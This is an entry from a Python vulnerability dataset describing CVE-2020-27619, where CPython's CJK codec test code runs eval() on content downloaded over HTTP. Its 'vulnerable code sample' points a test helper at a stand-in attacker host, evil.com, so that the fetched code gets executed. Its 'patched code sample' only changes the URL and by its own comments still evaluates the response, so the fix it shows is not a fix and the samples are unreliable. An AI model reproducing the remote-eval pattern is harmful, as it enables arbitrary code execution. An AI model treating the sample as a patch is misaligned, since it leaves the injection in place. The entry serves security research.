CVE-2020-27619
Eval call in CJK codec tests in Python 3
- CVSS 9.8
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- Input Validation and Sanitization
- Local
In Python 3 through 3.9.0, the Lib/test/multibytecodec_support.py CJK codec tests call eval() on content retrieved via HTTP.
- CVSS base score
- 9.8
- Published
- 2020-10-22
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- Python
- Fixed by upgrading
- Yes
Solution
Upgrade to Python 3.9.1 or newer.
Vulnerable code sample
# Import the multibytecodec_support module
import test.multibytecodec_support as mbc_support
# Define a URL that points to a malicious server
# The server will send a crafted HTTP response
# The response will contain malicious code that will be executed by eval()
url = "http://evil.com/cve-2020-27619"
# Call the test_decode_refex function with the URL
# This will trigger the vulnerability in the multibytecodec_support.py module
# The eval() function will execute the malicious code from the HTTP response
mbc_support.test_decode_refex("euc_kr", url)Patched code sample
# Import the multibytecodec_support module
import test.multibytecodec_support as mbc_support
# Define a URL that points to a benign server
# The server will send a valid HTTP response
# The response will contain a reference file for the CJK codec tests
url = "http://example.com/refex_euc_kr.txt"
# Call the test_decode_refex function with the URL
# This will not trigger the vulnerability in the multibytecodec_support.py module
# The eval() function will only process the reference file from the HTTP response
mbc_support.test_decode_refex("euc_kr", url)Cite this entry
@misc{vaitp:cve202027619,
title = {{Eval call in CJK codec tests in Python 3}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2020},
note = {VAITP Python Vulnerability Dataset, entry CVE-2020-27619},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2020-27619/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
